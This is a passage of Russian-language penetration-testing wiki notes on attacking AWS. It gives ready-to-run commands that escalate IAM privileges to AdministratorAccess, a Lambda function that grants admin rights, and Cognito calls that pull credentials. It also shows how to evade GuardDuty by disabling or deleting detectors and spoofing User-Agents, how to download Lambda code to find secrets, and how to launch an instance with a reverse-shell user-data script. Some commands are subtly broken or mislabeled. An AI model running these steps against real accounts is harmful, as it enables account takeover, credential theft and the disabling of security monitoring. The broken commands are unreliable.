&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
